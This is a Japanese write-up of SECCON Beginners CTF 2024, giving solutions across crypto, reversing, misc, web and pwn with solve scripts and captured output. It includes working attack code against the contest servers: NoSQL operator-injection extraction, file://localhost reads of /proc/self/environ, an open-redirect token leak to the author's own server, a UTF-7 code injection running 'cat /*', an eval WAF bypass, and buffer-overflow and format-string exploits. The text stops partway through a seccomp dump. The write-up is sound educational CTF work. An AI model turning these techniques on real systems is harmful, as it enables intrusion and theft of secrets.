SECCON Beginners CTF 2024 writeup

https://www.seccon.jp/13/seccon_beginners/content.html

5問解けなくて、11位。

![score.beginners.seccon.jp_certificate.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/35d8cdb6-14bf-2319-1636-4fcaf8fb26fe.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/63badbb4-506e-7b3e-d177-a6824d3973e9.png)

![score.beginners.seccon.jp_teams_550.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/f366c082-72c7-1b32-69c8-0e3dce748f0e.png)

## crypto

### Safe Prime (beginner)

```chall.py
import os
from Crypto.Util.number import getPrime, isPrime

FLAG = os.getenv("FLAG", "ctf4b{*** REDACTED ***}").encode()
m = int.from_bytes(FLAG, 'big')

while True:
    p = getPrime(512)
    q = 2 * p + 1
    if isPrime(q):
        break

n = p * q
e = 65537
c = pow(m, e, n)

print(f"{n = }")
print(f"{c = }")
```

Safe Prime（安全素数）について。RSA暗号で $p$ と $q$ を素数として～というときに、たまたま $p-1$ の最大の素因数が小さい $p$ を使ってしまうと、RSA暗号が破れてしまう。そこで、 $p-1$ が $p'$ を素数として $2p'$ と表せるような素数 $p$ を使うのが良いとされている。この $p$ を安全素数という。

$p$ と $q$ をそれぞれ安全素数にするところ、この問題では $2p+1$ を $q$ としている。$p$ の値が二分探索できる。

```solve.py
n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861

p = 0
b = 2**512
while b>0:
    if (p+b)*(2*(p+b)+1)<=n:
        p += b
    b //= 2

q = 2*p+1
d = pow(65537, -1, (p-1)*(q-1))
m = pow(c, d, n)

from Crypto.Util.number import *
print(long_to_bytes(m).decode())
```
```shell-session
$ python3 solve.py
ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}
```

`ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}`

### math (easy)

> RSA暗号に用いられる変数に特徴的な条件があるようですね...?

```chall.py
from Crypto.Util.number import bytes_to_long, isPrime
from secret import (
    x,
    p,
    q,
)  # x, p, q are secret values, please derive them from the provided other values.
import gmpy2


def is_square(n: int):
    return gmpy2.isqrt(n) ** 2 == n


assert isPrime(p)
assert isPrime(q)
assert p != q

a = p - x
b = q - x
assert is_square(x) and is_square(a) and is_square(b)

n = p * q
e = 65537
flag = b"ctf4b{dummy_f14g}"
mes = bytes_to_long(flag)
c = pow(mes, e, n)

print(f"n = {n}")
print(f"e = {e}")
print(f"cipher = {c}")
print(f"ab = {a * b}")

# clews of factors
assert gmpy2.mpz(a) % 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169 == 0
assert gmpy2.mpz(b) % 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 == 0
```

$a$ と $b$ の約数が与えられていて、それと $ab$ の値から、 $a$ と $b$ の組み合わせは16通りしかない。その全てについて、 $x$ の値を二分探索すれば良い。

```solve.py
n = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
e = 65537
cipher = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474

F = [3, 173, 199, 306606827773]
for fb in range(2**4):
    a = 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169**2
    b = 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661**2
    for i in range(4):
        if fb>>i&1:
            a *= F[i]**2
        else:
            b *= F[i]**2
    p = a
    q = b
    t = 2**1000
    while t>0:
        if (p+t)*(q+t)<=n:
            p += t
            q += t
        t //= 2
    if p*q==n:
        d = pow(e, -1, (p-1)*(q-1))
        m = pow(cipher, d, n)
        from Crypto.Util.number import *
        print(long_to_bytes(m).decode())
```

```shell-session
$ python3 solve.py
ctf4b{c0u1d_y0u_3nj0y_7h3_m4theM4t1c5?}
```

`ctf4b{c0u1d_y0u_3nj0y_7h3_m4theM4t1c5?}`

### ARES (medium)

これ面白かった。

```server.py
#!/usr/local/bin/python
import os
from Crypto.Util.number import getStrongPrime
from Crypto.Cipher import AES

N_BITS = 1024

class ARES(object):
    """ARES: Advanced RSA Encryption Standard"""
    def __init__(self, key: bytes, p: int, q: int, e: int):
        self.key = key
        self.n = p * q
        self.e = e
        self.d = pow(self.e, -1, (p-1)*(q-1))

    def encrypt(self, m: int):
        iv = os.urandom(16)
        c1 = int.to_bytes(pow(m, self.e, self.n), N_BITS//8, 'big')
        c2 = AES.new(self.key, AES.MODE_CBC, iv).encrypt(c1)
        return iv + c2

    def decrypt(self, c: bytes):
        iv, c2 = c[:16], c[16:]
        c1 = AES.new(self.key, AES.MODE_CBC, iv).decrypt(c2)
        m = pow(int.from_bytes(c1, 'big'), self.d, self.n)
        return m

if __name__ == '__main__':
    key = os.urandom(16)
    p = getStrongPrime(N_BITS//2)
    q = getStrongPrime(N_BITS//2)
    n = p * q
    e = 65537

    FLAG  = os.getenv("FLAG", "ctf4b{*** REDACTED ***}").encode()
    FLAG += os.urandom(16)
    assert len(FLAG) < N_BITS//8
    m = int.from_bytes(FLAG, 'big')
    c = pow(m, e, n)
    print("enc_flag:", int.to_bytes(c, N_BITS//8, 'big').hex())

    ares = ARES(key, p, q, e)

    print("1. Encrypt with ARES" "\n"\
          "2. Decrypt with ARES")
    while True:
        choice = int(input('> '))
        if choice == 1:
            m = int(input('m: '))
            assert m < n, "Plaintext too big"
            c = ares.encrypt(m)
            print("c:", c.hex())

        elif choice == 2:
            c = bytes.fromhex(input('c: '))
            assert len(c) > 16 and len(c) % 16 == 0, "Invalid ciphertext"
            m = ares.decrypt(c)
            print("m:", m)

        else:
            break
```

RSAとAESの組み合わせ。まずRSAで暗号化したフラグが与えられる。その後、RSA→AESの暗号化と、AES→RSAの復号が任意のデータに対してできる。RSAもAESも鍵は得られない。

まあ、AESの復号結果が `enc_flag` になるようにするしかないよね。AESの最初のブロックはIVで何とかなるけれど、それ以降がどうしようもない。

せめて、RSAの公開鍵が欲しいが……で、 $-1$ を暗号化と復号すると $n-1$ が返ってくることに気が付いた。これで暗号化ができるようになるので、辻褄を合わせていけば良い。

```attack.py
from pwn import *

s = remote("ares.beginners.seccon.games", 5000)
s.recvuntil(b"enc_flag: ")
enc_flag = bytes.fromhex(s.recvline()[:-1].decode())
print(f"{enc_flag=}")

def encrypt(m):
    s.sendlineafter(b"> ", b"1")
    s.sendlineafter(b"m: ", str(m).encode())
    s.recvuntil(b"c: ")
    return bytes.fromhex(s.recvline()[:-1].decode())

def decrypt(c):
    s.sendlineafter(b"> ", b"2")
    s.sendlineafter(b"c: ", c.hex().encode())
    s.recvuntil(b"m: ")
    return int(s.recvline()[:-1].decode())

def xor(X, Y):
    return bytes([x^y for x, y in zip(X, Y)])

n = decrypt(encrypt(-1))+1
print(f"{n=}")
e = 65537

def rsa(m):
    return int.to_bytes(pow(m, e, n), 128, "big")

A = bytes(144)
for i in range(0, 128, 16)[::-1]:
    B = rsa(decrypt(A))
    A = A[:i]+xor(B[i:i+16], enc_flag[i:i+16])+A[i+16:]

print(int.to_bytes(decrypt(A), 128, "big"))
```

```shell-session
$ python3 attack.py
[+] Opening connection to ares.beginners.seccon.games on port 5000: Done
enc_flag=b"bk\xff\n\x87\x86p \xfb|Q\x8e\xc1\x94C\xd2\x95\x83\xb5\x13}'\x1c\xf2\xbd\x176\x95c%\xeb\xb5\x88\xbe\xf5\xc4\xa4\x9c\xc2\x020\xe2\x85\xfeK\xf5\xb0e\xcb\n\xb0O\xb6\xf4\x97\xe9/\x7f\xa7\x93\xe2\xd5h\xcf \xabh\x845][}\xbd\xf7\xb2\xd4s\xa7\x8e\x98\x8b\xbb+\xde\xb90P\xeaZ\x1f\x0c\x95zI\xadxZ^\xf8\x94\xc2\x9e\x7f\xcf\xb8\x19\xdbq\xa1\xe4\x8aS\xdf\xb3\xa5\x88kuC\xaf\xd2h\xf3F!\xe1\\\xa8"
n=128660180978404611818115114990620300090494026864565399250980599538309867242153117993044788397976966711979842105918623593287232872712019148552067104902470020416696519637387206742503328844830774316442141398349485057087387103406219688350750706623705069848150814781161624765550491861607945439453449375137799328819
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00ctf4b{bl0ck_c1pher_is_a_fun_puzzl3}r\x11\xbeK\xda\x7f\x93Lo\x8f\xb6\xbf(\x004\x86'
[*] Closed connection to ares.beginners.seccon.games port 5000
```

なぜか2回に1回くらいしか解けないが……解けたから良いだろ。

`ctf4b{bl0ck_c1pher_is_a_fun_puzzl3}`

## reversing

### assemble (beginner)

> Intel記法のアセンブリ言語を書いて、flag.txtファイルの中身を取得してみよう!

はい。 `mov` と `push` 、 `syscall` しか使えないらしい。

> Challenge 1. Please write 0x123 to RAX!

```
mov rax, 0x123
```

> Challenge 2. Please write 0x123 to RAX and push it on stack!

```
mov rax, 0x123
push rax
```

> Challenge 3. Please use syscall to print Hello on stdout!

```
mov rax, 0x6f6c6c6548
push rax
mov rsi, rsp
mov rax, 1
mov rdi, 1
mov rdx, 6
syscall
```

文字列はスタックに作ると良い。 `push` すると `rsp` が文字列の先頭を指すポインタになる。

syscallはChromium OSのドキュメントにまとまっている。

https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md

> Challenge 4. Please read flag.txt file and print it to stdout!

```
mov rax, 0
push rax
mov rax, 0x7478742e67616c66
push rax
mov rax, 0x02
mov rdi, rsp
mov rsi, 0
mov rdx, 0
syscall

mov rdi, rax
mov rax, 0
mov rsi, rsp
mov rdx, 0x100
syscall

mov rdx, rax
mov rax, 1
mov rdi, 1
mov rsi, rsp
syscall
```

`open` して `read` して `write` 。

`ctf4b{gre4t_j0b_y0u_h4ve_m4stered_4ssemb1y_14ngu4ge}`

### cha-ll-enge (easy)

> 見たことがない形式のファイルだけど、中身を見れば何かわかるかも...?

ChatGPTに訊いた。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/70cd9222-1577-b4e1-6544-03ff56087cfc.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/413c8464-9191-3ed8-4e86-eb500915a19f.png)

へー。

競技プログラミングのAtCoderはAIの使用に制限が掛かった。

https://atcoder.jp/posts/1246

CTFで特定のツールが使用禁止となる気はしないし、今後はAIを使いこなせるスキルも重要になるのかもしれない。

```solve.py
X = [119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7]

print("".join(map(chr, [X[i]^X[i+1] for i in range(len(X)-1)])))
```

```shell-session
$ python3 solve.py
ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}
```

`ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}`

### construct (medium)

> 使っていない関数がたくさんある……？

デバッガで実行してみると、 `main` に来る前に終了する。問題名の通り、コンストラクタっぽい。

バイナリを除くと、この使っていないと言っている関数のアドレスが並んでいるので、比較している文字列を手作業で拾い集めた。

```
c0_d4yk261hbosje893w5igzfrvaumqlptx7n
oxnske1cgaiylz0mwfv7p9r32h6qj8bt4d_u5
lzau7rvb9qh5_1ops6jg3ykf8x0emtcind24w
9_xva4uchnkyi6wb2ld507p8g3stfej1rzqmo
r8x9wn65701zvbdfp4ioqc2hy_juegkmatls3
tufij3cykhrsl841qo6_0dwg529zanmbpvxe7
b0i21csjhqug_3erat9f6mx854pyol7zkvdwn
17zv5h6wjgbqerastioc294n0lxu38fdk_ypm
1cgovr4tzpnj29ay3_8wk7li6uqfmhe50bdsx
3icj_go9qd0svxubefh14ktywpzma2l7nr685
c7l9532k0avfxso4uzipd18egbnyw6rm_tqjh
l8s0xb4i1frkv6a92j5eycng3mwpzduqth_7o
l539rbmoifye0u6dj1pw8nqt_74sz2gkvaxch
aj_d29wcrqiok53b7tyn0p6zvfh1lxgum48es
3mq16t9yfs842cbvlw5j7k0prohengduzx_ai
_k6nj8hyxvzcgr1bu2petf5qwl09ids!om347a
```

ここから、2文字ずつ比較している。

`ctf4b{c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!}`

### former-seccomp (hard)

> フラグチェック用のシステムコールを自作してみました

Ghidraで見てみると、鍵らしき文字列が簡単に難読化されているのと、RC4っぽい処理がある。

```solve.py
K = [0x43, 0x55, 0x44, 0x17, 0x46, 0x1f, 0x14, 0x17, 0x1a, 0x1d]
for i in range(len(K)):
    K[i] ^= 0x20+i
print("".join(map(chr, K)))

C = [
    0xa5, 0xd2, 0xbc, 0x02, 0xb2, 0x7c, 0x86, 0x38, 0x17, 0xb1, 0x38, 0xc6, 0xe4, 0x5c, 0x1f, 0xa0,
    0x9d, 0x96, 0xd1, 0xf0, 0x4b, 0xa6, 0xa6, 0x5c, 0x64, 0xb7,
]

S = [0]*256
for i in range(256):
    S[i] = i
j = 0
for i in range(256):
    j = (j+S[i]+K[i%len(K)])%256
    S[i], S[j] = S[j], S[i]

i = 0
j = 0
P = []
c = 0
while len(P)<len(C):
    i = (i+1)%256
    j = (j+S[i])%256
    S[i], S[j] = S[j], S[i]
    P += [C[c]^S[(S[i]+S[j])%256]]
    c += 1

print("".join(map(chr, P)))
```

```shell-session
$ python3 solve.py
ctf4b:2024
p7r4c3_c4n_3mul4t3_sysc4ll
```

`ctf4b{p7r4c3_c4n_3mul4t3_sysc4ll}`

## misc

### getRank (easy)

数字を当てると1ポイントもらえて、1位になるとフラグが得られる。ただし、1位は $10^{255}$ ポイント。

点数が自己申告なので何とでもなりそうだが、文字数制限があるのと、点数が大きいと $10^{100}$ で割られる処理があって、普通には足らない。

`0xfff...` を送りつけたら通った。

今あらためて見ると、1位の点数には足りない。 `0xfff...` が `Infinity` になっていて、割られる処理を回避できていたっぽい。

```shell-session
$ curl 'https://getrank.beginners.seccon.games/' -H 'Content-Type: application/json' --data-raw '{"input":"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"}'
{"rank":1,"message":"ctf4b{15_my_5c0r3_700000_b1g?}"}
```

`ctf4b{15_my_5c0r3_700000_b1g?}`

### vote4b (blockchain, not web, not crypto, easy)

解けなかった。

スマートクリプトは手を付ける人が少ないと思ったのか、攻撃用のテンプレートっぽいものまで用意されているが、時間が無く……。

スマートクリプトは大金が動くだけあって、詳しくなれば金が稼げそうだが……。別に悪いことをしなくても、HackerOneに暗号通貨関連っぽい会社がちらほらある。

### clamre (easy)

> アンチウィルスのシグネチャを読んだことはありますか?

```flag.ldb
ClamoraFlag;Engine:81-255,Target:0;1;63746634;0/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/
```

ChatGPTさん、お願いします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/9c48400f-2581-e795-00c2-54ef020fda98.png)

だいたいあっているのに、微妙に違うんだよな……。 `(4)` が抜けていたり。

しょうがないので自分でやった。

`ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}`

### commentator (easy)

送ったPythonコードが、各行の先頭に `#` を付けて実行される。

```python
# coding: ...
```

だろ。UTF-16とかにして `#` を潰そうと思ったが、ASCIIと互換性の無いエンコードは使えないらしい。

> Any encoding which allows processing the first two lines in the way indicated above is allowed as source code encoding, this includes ASCII compatible encodings as well as certain multi-byte encodings such as Shift_JIS. It does not include encodings which use two or more bytes for all characters like e.g. UTF-16. The reason for this is to keep the encoding detection algorithm in the tokenizer simple.

https://peps.python.org/pep-0263/

いや、 `#` を潰さなくても、 `0D` か `0A` 以外で改行が入れられれば良いのか。UTF-7。

```shell-session
$ nc commentator.beginners.seccon.games 4444
                                          _        _                  __
  ___ ___  _ __ ___  _ __ ___   ___ _ __ | |_ __ _| |_ ___  _ __   _  \ \
 / __/ _ \| '_ ` _ \| '_ ` _ \ / _ \ '_ \| __/ _` | __/ _ \| '__| (_)  | |
| (_| (_) | | | | | | | | | | |  __/ | | | || (_| | || (_) | |     _   | |
 \___\___/|_| |_| |_|_| |_| |_|\___|_| |_|\__\__,_|\__\___/|_|    (_)  | |
                                                                      /_/
---------------------------------------------------------------------------
Enter your Python code (ends with __EOF__)
>>> coding: utf-7
>>> +AAo-import subprocess; print(subprocess.run("cat /*", shell=True, capture_output=True).stdout)
>>> __EOF__
b'ctf4b{c4r3l355_c0mm3n75_c4n_16n173_0nl1n3_0u7r463}'
thx :)
```

`ctf4b{c4r3l355_c0mm3n75_c4n_16n173_0nl1n3_0u7r463}`

## web

### wooorker (beginner)

ログイン画面で良くある、 `?next=...` でログイン後に `next` に指定したURLに飛ぶやつ。飛ぶときに `token=...` が付いてきて、これがあればフラグが読める。

自分のサーバーに飛ばせば良い。

```
login?next=http://my-server/
```

を入力して、botにログインさせる。

このトークンを付けてサーバーにアクセスすればOK。

`ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}`

### wooorker2 (medium)

> トークン漏洩の脆弱性を修正しました! これでセキュリティは完璧です!

`?token=...` から `#token=...` になった。

こういうHTMLファイルを置いておけば良い。

```index.html
<script>
    location.href=location.hash.substr(1);
</script>
```

`ctf4b{x55_50m371m35_m4k35_w0rk3r_vuln3r4bl3}`

### ssrforlfi (easy)

```app.py
 :
@app.route("/")
def ssrforlfi():
    url = request.args.get("url")
    if not url:
        return "Welcome to Website Viewer.<br><code>?url=http://example.com/</code>"

    # Allow only a-z, ", (, ), ., /, :, ;, <, >, @, |
    if not re.match('^[a-z"()./:;<>@|]*$', url):
        return "Invalid URL ;("

    # SSRF & LFI protection
    if url.startswith("http://") or url.startswith("https://"):
        if "localhost" in url:
            return "Detected SSRF ;("
    elif url.startswith("file://"):
        path = url[7:]
        if os.path.exists(path) or ".." in path:
            return "Detected LFI ;("
    else:
        # Block other schemes
        return "Invalid Scheme ;("

    try:
        # RCE ?
        proc = subprocess.run(
            f"curl '{url}'",
            capture_output=True,
            shell=True,
            text=True,
            timeout=1,
        )
    except subprocess.TimeoutExpired:
        return "Timeout ;("
    if proc.returncode != 0:
        return "Error ;("
    return proc.stdout
 :
```

Webプロキシでフラグを読めという良くある問題。

そもそもフラグがどこにあるのかと探してみると、 `.env` で渡されて、その後どこでも使っていない。環境変数を読む必要がある。

わざわざ `file://` を許可しているので使うならこっちだろう。アプリ側でファイルが存在しないことをチェックした後で `curl` に渡しているから、 `/proc/self` がプロセスによって違うことを利用する……？　そんなに違わないだろ。`curl` は `{}` や `[]` を解釈するが、これらの文字は使えない。

file schemaの仕様を読んだら、 `localhost` が使えると書かれていた。当然アプリ側はこんなのは解釈しない。

https://tex2e.github.io/rfc-translater/html/rfc8089.html

[https://ssrforlfi.beginners.seccon.games/?url=file://localhost/proc/self/environ](https://ssrforlfi.beginners.seccon.games/?url=file://localhost/proc/self/environ)

```
UWSGI_ORIGINAL_PROC_NAME=uwsgiHOSTNAME=a84e51bef68dHOME=/home/ssrforlfiPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8DEBIAN_FRONTEND=noninteractivePWD=/var/wwwTZ=Asia/TokyoUWSGI_RELOADS=0FLAG=ctf4b{1_7h1nk_bl0ck3d_b07h_55rf_4nd_lf1}
```

`ctf4b{1_7h1nk_bl0ck3d_b07h_55rf_4nd_lf1}`

### double-leaks (medium)

```app.py
 :
        client = get_mongo_client()
        db = client.get_database("double-leaks")
        users_collection = db.get_collection("users")
        user = users_collection.find_one(
            {"username": username, "password_hash": password_hash}
        )
        if user is None:
            return jsonify({"message": "Invalid Credential"}), 401

        # Confirm if credentials are valid just in case :smirk:
        if user["username"] != username or user["password_hash"] != password_hash:
            return jsonify({"message": "DO NOT CHEATING"}), 401

        return jsonify(
            {"message": f"Login successful! Congrats! Here is the flag: {flag}"}
        )
 :
```

MongoDBに `"password"` ではなく `{"$ne": "x"}` を渡すやつ。これで、MongoDBの部分は通るが、その後でさらに一致することを確認している。Blind SQL Injectionっぽいことをする。 `$lt` で1文字ずつ探索。

```attack.py
import requests

def username():
    username = ""
    while True:
        for c in range(0x20, 0x7f):
            c = chr(c)
            r = requests.post(
                "https://double-leaks.beginners.seccon.games/login",
                json = {
                    "username": {"$lt": username+c},
                    "password_hash": {"$ne": "x"},
                }
            )
            if r.json()["message"]=="DO NOT CHEATING":
                username += chr(ord(c)-1)
                break
        print(username)

#username()

def password_hash():
    password_hash = ""
    C = "0123456789abcdefg"
    for i in range(64):
        for c in C:
            r = requests.post(
                "https://double-leaks.beginners.seccon.games/login",
                json = {
                    "username": "ky0muky0mupur1n",
                    "password_hash": {"$lt": password_hash+c},
                }
            )
            if r.json()["message"]=="DO NOT CHEATING":
                password_hash += C[C.index(c)-1]
                break
        print(password_hash)

password_hash()
```

```shell-session
$ python3 attack.py
k
ky
ky0
ky0m
ky0mu
ky0muk
ky0muky
ky0muky0
ky0muky0m
ky0muky0mu
ky0muky0mup
ky0muky0mupu
ky0muky0mupur
ky0muky0mupur1
ky0muky0mupur1n
ky0muky0mupur1n
ky0muky0mupur1n
ky0muky0mupur1n
 :
$ python3 attack.py
d
d3
d36
d36c
 :
d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31
d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a
$ curl 'https://double-leaks.beginners.seccon.games/login' -H 'Content-Type: application/json' --data '{"username":"ky0muky0mupur1n","password_hash":"d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a"}'
{"message":"Login successful! Congrats! Here is the flag: ctf4b{wh4t_k1nd_0f_me4l5_d0_y0u_pr3f3r?}"}
```

`ctf4b{wh4t_k1nd_0f_me4l5_d0_y0u_pr3f3r?}`

### flagAlias (medium)

参加者ごとにインスタンスを立てる形式。これはprototype pollution……と思ったが、Discordのログを見ると、「ごめん、問題サーバーを壊しちゃった」「止めます」「形式を変えて復旧させた」みたいなやりとりがあった。Prototype pollutionは想定していなそう。

Denoアプリ。

```flag.ts
export function getRealFlag() {
  // **REDACTED**
  return "**REDACTED**";
}

export function getFakeFlag() {
  return "fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}";
}
```

```main.ts
import * as flag from "./flag.ts";

function waf(key: string) {
  // Wonderful WAF :)
  const ngWords = [
    "eval",
    "Object",
    "proto",
    "require",
    "Deno",
    "flag",
    "ctf4b",
    "http",
  ];
  for (const word of ngWords) {
    if (key.includes(word)) {
      return "'NG word detected'";
    }
  }
  return key;
}

export async function chall(alias = "`real fl${'a'.repeat(10)}g`") {
  const m: { [key: string]: string } = {
    "wonderful flag": "fake{wonderful_fake_flag}",
    "special flag": "fake{special_fake_flag}",
  };
  try {
    // you can set the flag alias as the key
    const key = await eval(waf(alias));
    m[key] = flag.getFakeFlag();
    return JSON.stringify(Object.entries(m), null, 2);
  } catch (e) {
    return e.toString();
  }
}

const handler = async (request: Request): Promise<Response> => {
  try {
    const body = JSON.parse(await request.text());
    const alias = body?.alias;
    return new Response(await chall(alias), { status: 200 });
  } catch (_) {
    return new Response('{"error": "Internal Server Error"}', { status: 500 });
  }
};

if(Deno.version.deno !== "1.42.0"){
  console.log("Please use deno 1.42.0");
  Deno.exit(1);
}
const port = Number(Deno.env.get("PORT")) || 3000;
Deno.serve({ port }, handler);
```

適当に `waf` を回避して、 `flag` を読めば良さそう。例えば、 

```javascript
({}).constructor.constructor('return fl'+'ag')()
```

とか。しかし、 `eval` にはやっかいな仕様がある。直接 `eval` を実行すると実行した場所のスコープで動くが、変数に代入したりするとグローバルスコープになってしまう。

```javascript
()=>{const x=1234;return eval("x")}()
```

これは `1234` だが、

```javascript
(()=>{const x=1234; [eval][0]("x")})()
```

これは `ReferenceError: x is not defined` になる。`constructor` を使う場合も同様。

外の `flag` を無視しようにも、 `import` はトップレベルでしか使えない（実は `import` 文というものがあるらしい）し、ソースコードを直接読むのはDenoに弾かれる。 `toString()` を持つオブジェクトを返せば `m[key]` で発動するからそれで何とか……と思ったが、上手くいかず。

```javascript
waf=x=>x
```

で `waf` が無効化できたw

この後

```javascript
let x=""; for (let k in flag) x += k+","; x
```

で、 `"getFakeFlag,getRealFlag_yUC2BwCtXEkg,"` 。

```javascript
flag.getRealFlag_yUC2BwCtXEkg()
```

`"fake{The flag is commented one line above here!}"` 。

ということで、

```javascript
flag.getRealFlag_yUC2BwCtXEkg
```

```javascript
function getRealFlag_yUC2BwCtXEkg() {
  // Great! You found the flag!
  // ctf4b{y0u_c4n_r34d_4n0th3r_c0d3_in_d3n0}
  return "fake{The flag is commented one line above here!}";
}
```

`ctf4b{y0u_c4n_r34d_4n0th3r_c0d3_in_d3n0}`

## pwnable

### simpleoverflow (beginner)

> Cでは、0がFalse、それ以外がTrueとして扱われます。

```shell-session
$ nc simpleoverflow.beginners.seccon.games 9000
name:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello, aaaaaaaaaaaaaaaa���
ctf4b{0n_y0ur_m4rk}
```

`ctf4b{0n_y0ur_m4rk}`

### simpleoverwrite (easy)

> スタックとリターンアドレスを確認しましょう

```src.c
 :
void win() {
  char buf[100];
  FILE *f = fopen("./flag.txt", "r");
  fgets(buf, 100, f);
  puts(buf);
}

int main() {
  char buf[10] = {0};
  printf("input:");
  read(0, buf, 0x20);
  printf("Hello, %s\n", buf);
  printf("return to: 0x%lx\n", *(uint64_t *)(((void *)buf) + 18));
  return 0;
}
 :
```

```shell-session
$ readelf -s chall | fgrep win
    34: 0000000000401186    73 FUNC    GLOBAL DEFAULT   14 win
 :
$ printf '0123456789abcdef01\x86\x11\x40\x00\x00\x00\x00\x00' | nc simpleoverwrite.beginners.seccon.games 9001
input:Hello, 0123456789abcdef01�@
return to: 0x401186
ctf4b{B3l13v3_4g41n}
```

`ctf4b{B3l13v3_4g41n}`

### pure-and-easy (easy)

```src.c
 :
int main() {
  char buf[0x100] = {0};
  printf("> ");
  read(0, buf, 0xff);
  printf(buf);
  exit(0);
}

void win() {
  char buf[0x50];
  FILE *fp = fopen("./flag.txt", "r");
  fgets(buf, 0x50, fp);
  puts(buf);
}
 :
```

書式文字列攻撃。 `exit` のGOTを書き換えた。

```attack.py
from pwn import *

context.arch = "amd64"

s = remote("pure-and-easy.beginners.seccon.games", 9000)

b = 10
P = ""
P += f"%{0x41}c%{b}$hhn"
P += f"%{(0x13-0x41)%0x100}c%{b+1}$hhn"
P = P.ljust(0x20, "\0").encode()
P += pack(0x404040)
P += pack(0x404041)

s.sendafter(b"> ", P)
s.interactive()
```

```shell-session
$ python3 attack.py
[+] Opening connection to pure-and-easy.beginners.seccon.games on port 9000: Done
[*] Switching to interactive mode
                                                                \x90
                                                                                                                                 \xffctf4b{Y0u_R34lly_G0T_M3}

ctf4b{Y0u_R34lly_G0T_M3}

[*] Got EOF while reading in interactive
```

`ctf4b{Y0u_R34lly_G0T_M3}`

### gachi-rop (medium)

> そろそろOne Gadgetにも飽きてきた？ガチROPの世界へようこそ！

飽きてません。タイトルからして面倒なやつだ。

ソースコードも無い。Ghidraで見ると、seccompで制限を掛けているっぽい。

頑張った後で、「それは使えません」は嫌なので、どういう制限が掛かっているのかを知りたい。便利なツールがあった。

https://github.com/david942j/seccomp-tools

seccompのテーブルを抽出したりする必要すら無く、バイナリをそのまま渡せば良い。

```shell-session
$ seccomp-tools dump gachi-rop/gachi-rop
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x03 0x00 0x40000000  if (A >= 0x40000000) goto 0007
